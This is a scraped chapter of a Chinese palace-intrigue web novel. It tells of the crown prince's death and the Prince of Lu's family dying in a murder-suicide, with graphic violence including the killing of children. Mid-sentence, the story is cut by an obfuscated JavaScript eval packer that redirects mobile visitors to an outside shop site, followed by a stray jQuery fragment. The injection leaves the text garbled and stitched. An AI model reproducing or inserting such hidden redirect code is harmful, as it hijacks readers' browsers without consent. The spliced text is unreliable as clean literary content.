文趣网 > 都市小说 > 表妹万岁 > 24. 巨变
    蓬莱宫位于中州西北方向,远离一切。

    阿元做了一个梦,在梦中,见到翠珠儿。翠珠儿穿着豆绿色小衫,珠花双髻,与康乐并肩站在一起,手牵手,趴在玉栏杆上看池水中的红鲤鱼,笑声清脆。

    翠珠儿的另一只手拿着风筝,是那只缀满珍珠的神鸟风筝。

    阿元上前,抱住两个小女孩,“不要在水边玩,姑姑陪你们一起放风筝,好不好?”

    翠珠儿轻轻点了点头,“姑姑,你不要哭,我好想你。”

    康乐仰着小脸,“姑姑,我们一起把风筝飞得高高的,飞到天上去,就像一只真正的白色大鸟一样。”

    “好啊。”阿元轻快答应,握住两个小女孩的手,永远不要放开。

    风筝羽翼垂下的流苏轻轻摇晃,发出细微的叮咚声。

    从那之后,阿元就病了。她向来多病,但那是病得最厉害的一次,醒来呕了好多的血。

    总是做梦,梦中混乱又叫人伤心,醒来又记不得。

    她在病中,时常能听见说话声,“姑姑,你怎么又吐血了?我不管,我就要你平平安安,长命百岁!”

    是蛮蛮的声音。

    “姑姑,你乖乖吃药,如果药很苦的话,吃一颗蜜饯,一定不苦了。”

    是玉珠儿。

    宝珠儿在哭,“请天上神仙,保佑我姑姑。”

    小悟郎轻轻为阿元拭去腮边的泪珠,语气静静的,“姑姑,我们走了,你以后要好好的。”

    在梦里,他们似乎是永远也长不大了。

    阿元挣扎着醒来,寝殿静谧无声,唯有百宝香炉上溢出缕缕白雾,异香浓郁。

    她答应了,她答应过的,要和翠珠儿、康乐一起去放风筝,将风筝飞高,飞到天上去。

    鲜红的血洒在皎白的银丝帐上,阿元也像一只断线的白鸟,重重跌落在床上,半边脸染上了血污。

    隔着层层摇动金光的薄纱,外祖母在女官的搀扶下走来,她满头银发,脚步踉跄,略走急些,便险些跌倒。

    此时的皇太后,年近七十,双目半盲,腿脚也不利落,已经年迈多病。

    阿元大病数日,吐血不止。

    外祖母片刻不离,抚摸着阿元的脸,不停有眼泪流下,不住呢喃:“好孩子,阿元是最乖最乖的好孩子。”

    阿元没有说话的力气,勉力伸出手来,紧紧抱住外祖母。

    母亲去的早,已经叫外祖母伤心至极,阿元怎么忍心,又让外祖母白发人送黑发人。

    等舅舅从翠微山回京,来看阿元。阿元和舅舅说起自己的梦,她并未告诉外祖母,只告诉了舅舅。

    说起蛮蛮、玉珠儿,小悟郎、宝珠儿,还有康乐、翠珠儿,以及小雱郎。阿元说:“我得快点好起来,不能让外祖母总为我担心。舅舅,等我病好了,我想去放风筝。”

    舅舅的神情竟没有一丝波澜,“我让人做一只更漂亮的风筝,等天气好的时候,舅舅陪你去小瀛洲放风筝。”

    阿元轻轻颔首,“要带上康乐一起。”又劝道:“舅舅,你也不要总生舅母的气,你好好同她说,舅母会听的。”

    宫里都说舅母凶恶,其实舅母最怕舅舅生气,她很听舅舅的话,只是舅舅总让舅母伤心。以往阿元要是病了,舅母也常来看阿元。阿元乖巧,又病怏怏的,舅母也可怜阿元。

    前段时间舅母总提及她的娘家侄儿郑十六郎,相貌才气与崔表哥不分伯仲,脾气却比他更好。上一回舅母带着郑家表哥过来看阿元,郑表哥还给阿元折了一只会飞的小鸟。

    这事被舅舅知道了,再也不许舅母过来。

    或许是这个缘故,卢姐姐和薛姐姐不敢随意带着孩子们到蓬莱宫。

    阿元有些不清楚,自己在病中,他们到底有没有来看过自己,但分明她听见了声音,告别的声音。

    舅舅并未答应,抬手轻轻抚摸阿元的脑袋,“阿元,好好睡觉,明日又是新的一天。”

    “明日,会更好吗?”

    “会,一定会。”

    原来,舅舅也会骗人。

    等阿元入睡,舅舅离开。

    外祖母与舅舅似乎有争执,阿元在半睡半醒间,听外祖母质问舅舅,“你当太子的时候,百官畏惧,帝王避让。而你的儿子,现在的太子,动辄被朝臣诘问,他举步维艰。”

    “母亲,他是太子,是未来的天子,江山社稷若是交给他,到底姓李还是姓郑?”

    与舅舅的平静相比,外祖母是那样悲伤,声音凄然,“可他是你的儿子,你心中连丝毫的父子之情也没有吗?”

    阿元没有等到舅舅的回答。

    外祖母身边的女官察觉到阿元醒来,唤了一声郡主。

    珠帘掀开,外祖母将阿元紧紧抱在怀中。阿元每次醒来,外祖母总这样拥她入怀。微微摇晃的珠帘外,舅舅玄黑色的衣角消失在殿门处。

    蓬莱宫比往日更加寂静,阿元隐隐感到,惊天巨变正在发生。因从前公主怀孕时受惊早产,皇太后采取严厉手段管控内宫,所有宫人来历清白,不准任何人在郡主面前散播宫外的流言。

    公主死了,阿元被外祖母几近疯狂保护着。她什么也不知道,这正是对她而言最可悲之处。

    东宫的惨案,经粉饰之后,定案为太子妃带领众妃畏罪自尽,传到天牢的太子耳中。年轻的太子正静静等待着来自父亲最终的审判,听闻阖宫的死讯,当夜撞墙而亡。

    他的面容很像陛下,但比陛下更温润和气。

    收敛尸体的时候,太子的半张脸血肉模糊,骨头都凹进去了。

    鲁王只有三个女儿,还死了一个。部下劝他纳妾,若无男嗣,恐争储有碍。鲁王与王妃琴瑟和鸣,闻言勃然大怒。

    归家之后,鲁王将宝珠儿高高举起,宝珠儿被爹爹逗得咯咯笑。琉璃花窗下,王妃正手持书卷,长女坐在案前,认真听母亲的教诲。

    “我的女儿,抵得上旁人一百个儿子。”

    他喊长女,“玉珠儿,爹爹将来做了皇帝,便封你为皇太女。这世上谁说只有男子能做帝王,我的玉珠儿比任何人都要聪慧出

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585135|205206||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    色!”

    天下只能有一个皇帝,鲁王低头看着次女清澈可爱的双眸,含笑轻问:“你姐姐做女皇帝,那宝珠儿想做什么?”

    宝珠儿在爹爹怀中,看了看娘亲,又看向姐姐,脆生生说:“我想永远做爹娘的女儿,要姐姐一直陪我玩,我们一家人不要分开。”

    一家人纷纷笑出声来,鲁王想起溺死在紫金宫的幼女翠珠儿,眼中有泪意,“我们宝珠儿便做一个小公主,像朝阳姑姑那样,享受永世承袭的尊贵,永远无忧无虑。”

    翠珠儿从爹爹身上下来,跑过去扑进姐姐怀里。玉珠儿是最好的姐姐,也伸手抱住妹妹,两姐妹一同在灯下看书。

    鲁王低声告诉王妃,“太子死了。”

    王妃面有悲意,泪光流转,看着两个相互依偎的女儿,轻轻叹了口气。

    半月之后,公孙敖奉命探查东宫一事,将密报呈于御案。陛下正召见方士,殿内紫雾缭绕,他盘坐在塌上,闭着双目,面前的一盘残棋,胜败已定。

    那堆厚厚的书简,陛下一眼也没看,唤了袁春来,“鲁王一家及胡氏,赐死。”

    郑后的性命了结在胡昭仪手中,她受皇后欺辱半生,亲自为皇后灌下毒酒,看她痛苦而亡。后来内侍呈上白绫与毒酒,胡昭仪绝不肯与皇后一种死法,两名内侍用力勒住她的脖颈,她拼力反抗,十个指甲断裂,同样在痛苦中死去。

    与太子所遭受的平静与残忍不同,宫中禁军奉旨捉拿,鲁王不从,率部下激烈反抗。他举起长刀大喊,“我要见父皇,我愿受千刀万剐之刑,请求宽恕我无辜的妻女。”

    宫中禁军与鲁王卫队大多出身勋贵,原是血亲,不得不拔刀相向,生死搏命。

    府中有人想要潜逃,被鲁王下令当场斩杀,仆役、马夫无一活口,直至阖府死尽,尸积如山。

    王妃的寝殿中,两个女儿喝下药汤已经深深熟睡,王妃将洁白的手绢覆在女儿口鼻处,殿门从外推开。鲁王一身重甲,满是血痕,“这样的死法,口鼻不能呼吸,要受到极大的痛苦才慢慢死去。”

    女儿们身穿锦衣,环佩琳琅,并排躺在床上,面容红润。

    鲁王放下手中的长刀,赤红的眼珠看向妻子,笑了一下,眼泪落下,“父皇不愿见我。”哽咽道:“让我来吧。”

    鲁王擅左手使刀,左臂比右臂更健壮有力,能抬巨鼎。女儿的脖颈纤细洁白,如同稚嫩的花骨朵,只轻轻一折,便陨落在他手心。

    王妃垂泪不止,“你不要愧疚,到了黄泉里,还能见到我们的翠珠儿,我们一家人才是真正的团聚。”

    随即不让鲁王动手,挺身撞在丈夫的长刀上,脖颈裂开,身子倒在床边,用最后的力气展臂抱住两个女儿。

    鲁王目睹妻女殒命,解下盔甲。他将妻子轻轻揽入怀中,握住同一把长刀缓缓插进自己的胸膛。

    血水不停流在妻子和女儿雪白的脸上,鲁王用力伸出手来擦拭。

    血太多,永远也擦不干净了。

    他便这样死不瞑目,看着紫金宫的方向。